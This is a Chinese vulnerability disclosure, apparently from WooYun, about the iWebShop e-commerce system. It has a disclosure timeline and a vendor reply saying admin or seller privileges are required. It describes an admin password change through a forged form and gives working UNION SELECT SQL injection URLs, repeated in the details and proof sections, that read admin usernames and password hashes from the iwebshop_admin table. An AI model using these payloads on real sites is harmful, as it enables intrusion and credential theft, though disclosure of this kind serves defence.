漏洞概要 关注数(24) 关注此漏洞
>
漏洞详情
披露状态:
2015-04-08: 细节已通知厂商并且等待厂商处理中
2015-04-09: 厂商已经确认,细节仅向厂商公开
2015-04-12: 细节向第三方安全合作伙伴开放
2015-06-03: 细节向核心白帽子及相关领域专家公开
2015-06-13: 细节向普通白帽子公开
2015-06-23: 细节向实习白帽子公开
2015-07-08: 细节向公众公开
简要描述:
详细说明:
修改密码
http://localhost/test/iwebshop/index.php?controller=system&action=admin_repwd
POST
只需要输入新密码
构造表单
#第二个是后台sql注入
http://localhost/test/iwebshop/index.php?controller=system&action=admin_edit&id=1 and 1=2 union select 1,admin_name,3,4,5,password,7,8,9 from iwebshop_admin#
登录后台 即可注入
# 再说前台的sql注入
需要商家账号
http://localhost/test/iwebshop/index.php?controller=seller&action=spec_list
在规格列表这添加一个
http://localhost/test/iwebshop/index.php?controller=goods&action=spec_edit&id=1
我加一个'aaaa
再看MySQL监控
没有转义
然后构造payload
http://localhost/test/iwebshop/index.php?controller=goods&action=spec_edit&id=1 and 1=2 union select 1,admin_name,3,4,password,6,7 from iwebshop_admin#
漏洞证明:
修改密码
http://localhost/test/iwebshop/index.php?controller=system&action=admin_repwd
POST
只需要输入新密码
构造表单
#第二个是后台sql注入
http://localhost/test/iwebshop/index.php?controller=system&action=admin_edit&id=1 and 1=2 union select 1,admin_name,3,4,5,password,7,8,9 from iwebshop_admin#
登录后台 即可注入
# 再说前台的sql注入
需要商家账号
http://localhost/test/iwebshop/index.php?controller=seller&action=spec_list
在规格列表这添加一个
http://localhost/test/iwebshop/index.php?controller=goods&action=spec_edit&id=1
我加一个'aaaa
再看MySQL监控
没有转义
然后构造语句
http://localhost/test/iwebshop/index.php?controller=goods&action=spec_edit&id=1 and 1=2 union select 1,admin_name,3,4,password,6,7 from iwebshop_admin#
修复方案:
版权声明:转载请注明来源 浅蓝@乌云
>
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:10
确认时间:2015-04-09 07:02
厂商回复:
需要管理员和商家的权限
最新状态:
暂无